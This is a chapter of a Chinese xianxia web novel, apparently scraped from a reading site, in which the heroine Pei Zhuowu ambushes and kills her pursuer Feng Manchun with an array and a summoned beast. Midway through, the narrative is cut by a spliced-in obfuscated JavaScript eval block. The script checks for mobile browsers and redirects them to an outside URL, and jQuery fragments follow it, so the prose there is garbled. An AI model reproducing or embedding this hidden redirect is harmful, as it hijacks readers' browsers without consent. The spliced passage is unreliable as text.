21. 瓮中捉鳖

作品:《巫主

    “本想暗中潜入天一宗抓你,没想到你就在这于玉兰郡之中,还真是方便于我。”


    冯满春看着手中法器散发出的光芒,眼中贪婪更甚。


    裴濯巫再次和王晴核对了诡晶的价值。


    若是拍卖会的生意想做长久,那就既要让出价者在出价时感到惊险,甚至后悔,又要在结果揭晓时让对方感到劫后余生、喜出望外,甚至,认为自己走了大运。


    因此,王晴数次惴惴不安,裴濯巫数次保证再三。


    裴濯巫唯一在意的,是交易取货时,房间里只能有两个人。


    她,还有冯满春。


    冯满春会不会大张旗鼓地将她的特殊告诉整个冯家,裴濯巫并不知情,但无论是何种情况,她都必须先解决掉冯满春,未雨绸缪,或者是杀鸡儆猴。


    裴濯巫不希望有其他人跟着,例如冯满春的胞弟冯立春,即便对方只是元婴,这依旧会加大裴濯巫得手的难度。


    毕竟,裴濯巫现在是个柔软不已、实力不济而且身上带伤的炼气期。


    她想要杀他,只有一个方法,瓮中捉鳖。


    裴濯巫提前在交易的房间里布置了大量的阵法,只等着检验诡晶时,冯满春喜出望外,放松警惕的那一刻。


    做完这些,裴濯巫还是不放心。


    眼看夜幕渐深,听王晴说这镇上没到夜晚,便有鬼市出现,常卖些平时用不到的稀奇古怪玩意。


    裴濯巫动了心思,她总要给自己一些保障。


    裴濯巫按着王晴的嘱托套上了黑袍掩去身形,这才前去。


    她心中叹气,杀人如此麻烦,她也是头一遭体会。


    进了鬼市,裴濯巫的第一感觉便是这里的确与平日不同。


    摊贩虽是支起摊子,可面上却什么也不摆,上前询问,更是语焉不详。


    更麻烦的是,没走几步,裴濯巫察觉到有人在跟着她。


    鬼市上大多数人行色匆匆,可裴濯巫接连拐了几道巷子,对方依旧形影不离。


    其脚步不缓不急,这是修为深的修士才能做到的。


    此人定不会像上次动手的筑基灰衣人一样简单。


    裴濯巫越走,却发现周遭温度在不断降低,忽然她吐息开始浮现白气。


    裴濯巫骤然停下脚步。


    “想来,我以在你阵中。”


    裴濯巫突然开口。


    “察觉得还挺快。”


    不知何时,路上变得空无一人,一道黑影骤然闪现在裴濯巫身后。


    他揭开兜帽,赫然出现的是冯满春那张满是算计贪婪的脸。


    “你是姓裴吗,虽然我不知道你家世何为,但形势逼迫,你的血,我不得不取,还是乖乖和我回冯家吧。”


    裴濯巫见冯满春主动表明身份,反倒是淡定下来。


    她回过神,也揭下帽檐,睫毛上沾染着雪霜,淡然与冯满春对视。


    一个炼气期心性沉稳如此,冯满春非常意外。


    而更为意外的,是裴濯巫问他,“你要我的血,究竟有何作用?”


    “你不知道?”冯满春几乎是脱口而出。


    “我应该知道?”裴濯巫不动声色反问。


    冯满春却自顾自道,“你不知道,又怎么会拥有刘氏血脉,不,你的血脉之力纯厚,难道,你是庚戌刘氏本家之人?


    告诉我,你的父母是何人?”


    最后一句话,冯满春几乎是吼着出口。


    他心头狂跳,他本以为,自己是发现了一箱藏匿的灵石,激动不已,而现在,裴濯巫却告诉他,这箱藏匿的灵石下,居然流淌着一整条灵脉。


    若是鹤儿得了她的血脉,庚戌刘氏的本家血脉,那将来必然会认祖归宗,甚至成为传说中的飞升候选人也并非不可能。


    虽然不知道裴濯巫为何流落在外,但这样的宝藏,他冯满春要定了。


    冯满春表情变化不断,裴濯巫却在他的注视下笑得玩味。


    “你知道庚戌刘氏为何如此强大,甚至可以延续万年之久吗?”


    “因为刘氏一族飞升者重,他们的后代自然天赋异禀,修为高深。”


    冯满春不明白他为什么要回答一个炼气期小弟子的问题,但他还是答了,答得尤其认真。


    这是修真界公认的答案。


    “错!大错特错!”


    裴濯巫即刻否定了他。


    冯满春自从当了家主之后,从未有过如此刻般被人毫不留余地的否定的场景了。


    可他却出乎意料地没有生气,反而是迫不及待地问,“你知道什么?你在庚戌本家知道了些什么?”


    他直觉,裴濯巫会说出一个,能够让他在庚戌刘氏如鱼得水的答案。


    裴濯巫的确没有让他失望。


    她眯了眯眼睛,似乎是在回忆,“庚戌刘氏世代精兵良将的秘密,他们是神的后裔。”


    “神的后裔?什么意思?”


    冯满春追问。


    “意思是天生地养,契合灵气,世间偏爱。意思是他们可以将你变成刘氏旁支,而即便你冯家各个大乘飞升,也不能把他刘氏变成你冯家旁支。”


    “为什么?怎么会?你说的神又是何人?这一切密辛是在刘氏本家的典籍中记载的吗?”


    冯满春陷入了更大的谜团。


    他迫不及待地要将裴濯巫抓住,在冯其鹤继承她的血脉之前,他会让她尽可能地吐露出更多秘密。


    裴濯巫的笑容却突然落下了,冷若冰霜。


    “死人,不需要知道那么多。”


    “你说什么!”冯满春瞬间暴怒。


    他拔剑近身裴濯巫,可下一瞬,裴濯巫脚下出现泛着白光的阵法光环。


    “哼,负隅顽抗!”


    带着磅礴灵力的剑气劈下,冯满春对裴濯巫的反抗不屑一顾。


    在他眼中,那只是炼气期的螳臂当车。


    白色的阵法光环被剑气一挥便散了,在昏暗的夜晚显得发灰。


    事实上,裴濯巫炼气期的身体,也的确只能操控炼气期灵力的阵法。


    但冯满春并没有注意到阵法的图案,若是换做他最为敬重的、庚戌刘氏的族长、太上老祖,或者说,任何一个从万年前与巫主大战中活下来的人在此,都会立即大惊失色。


    这是巫主最常用的,也是他们最为熟悉、恐惧的阵法。


    阴阳相守,世间有灵气便有浊气,修士禀浊而纳灵,偏偏诡种浊气生养,混沌无序,祸害世间。


    修士以铲除诡种为己任,偏偏有一人与修真界背道而驰,身为灵修却与浊气为伍,暴虐弑杀。


    她周身常伴污浊,顾称其为,巫主。


    裴濯巫当然没有办法仅凭炼气期灵力硬抗化神,她只能画这转换阵法,用冯满春的灵力去对抗冯满春。


    当年,那群仗着人多势众打上她家门口的修士们最怕裴濯巫这一招,阵法一出,再多的人也没有用。


    冯满春眼睁睁地看着剑身上灵气消散,而浊气自地底涌出,缠绕住他的剑,与他分庭抗礼。


    他愣神了好一会,才大喊道,“浊气!这是浊气!你究竟是什么人!”


    也不怪他反应慢,毕竟年轻的小辈们只在传闻里听过巫主的凶名,亲眼见到浊气生长的诡谲景象,哪怕冯满春是化神,也是头一回见。


    炼气期阵法能转化的浊气有限,冯满春镇下心神挥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078632|194968||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动灵剑,很快浊气即将消散。


    裴濯巫见状不妙,眉心微拧。


    她和冯满春已然互相撕破脸皮,若是此刻离去,之后怕是很难找到机会杀他,反而会暴露自己。


    如今也只有铤而走险。


    冯满春摆脱浊气,刚想放狠话,只见裴濯巫咬破指尖,紧接着一股强大到让他双膝瘫软、甚至不自主地想要跪下的威压朝他袭来。


    鲜红的血珠像是感应般粘附上即将散去的浊气。


    裴濯巫冷声喝道:“现!”


    忽然间,风云涌起,天空中闷雷阵阵。


    “天雷!”


    冯满春瞳孔一缩。


    裴濯巫掩面咳嗽了两下,本就苍白的面孔更加煞白的两分。


    等杀掉冯满春,她一定要好好修养两天,裴濯巫心里想。


    只见浊气无风自起,凝聚拉扯,像是有什么东西要从其中撕裂而出。


    天雷无端地劈下,炸响在冯满春眼前。


    浊气被劈散,却又很快凝聚。


    “现!”


    裴濯巫半步不让。


    她抬头望天,说了奇怪的话,“尘埃落定,何必抗争。”


    在冯满春惊恐的注视下,一只满覆黑色鳞甲,尖牙利爪宽翅的生物如同撕裂空间般出现在他面前。


    最为可怖的,是那生物银色的眼睛,如星辰般骤亮,其中像是燃烧着火焰,又像是牢牢锁定着猎物。


    只见那生物摇了摇头,原本的圆整的头颅忽然变成的四瓣,尖牙布满内里,尖啸声贯穿耳膜,它再一动作,头颅忽然又合成两半,变化不断,看得人大脑眩晕,诡异可怖。


    冯满春张大了嘴,仰头看着足足三人高的鳞甲生物,不可置信地呢喃出声:“诡...诡种!”


    “你到底是什么人!”


    他惊恐地望向裴濯巫。


    裴濯巫满脸漠然地站在一旁,一袭白衣,素净淡雅,说是朝如青丝暮成雪也不为过。


    可也正是她,掌控着这世间最恐怖的力量与生物。


    “你...”


    冯满春的脸色在短时间内变了又变,他心中有个恐怖至极的猜测,仅仅出现了一瞬,又很快被他自己否句。


    不可能,绝对不可能,传说中的那个人早已消散,怎么可能出现在他面前。


    “不管你是什么东西,我都要把你抓回去,血脉换给鹤儿,魂魄抽出来献给刘氏领赏!”


    冯满春已然被巨大的惊喜冲昏了头脑,他是化神,修为深厚,一个炼气期小弟子,和一个看似吓人的诡种,在他的化神修为面前,即使表现得再怎么骇人,也终究不是他一将之合。


    他将他们一并捉了回去,操控诡种之法,想来庚戌刘氏一定会感兴趣。


    裴濯巫见状,却是不紧不慢,“哦?还当真有点志气。”


    以前那些人,一见到诡种便跑的屁滚尿流,现在万年后的修士们,居然还想着反制她,当真是时代变了。


    可惜,冯满春并不知道,被巫主召唤出的诡种,与普通的诡种有什么区别。


    他举剑刺向裴濯巫,裴濯巫却转身,连看都没看他一眼。


    她身后,传来血肉被刺穿的声响。


    那是诡种的利爪,如削泥般轻松地穿过了冯满春身上的数层防御法器,直取其心脏。


    “轰隆!”


    一声巨响,雷击落下,劈散了冯满春布满惊恐的躯体,狰狞可怖的诡种也同样灰飞烟灭。


    裴濯巫嘴角无端溢出鲜血,她不在意地抹去,似是在和天道说话,“其实你最清楚,我为何重生,又何必步步威胁。”


    天空中云层翻涌,雷声阵阵,似是非常不满。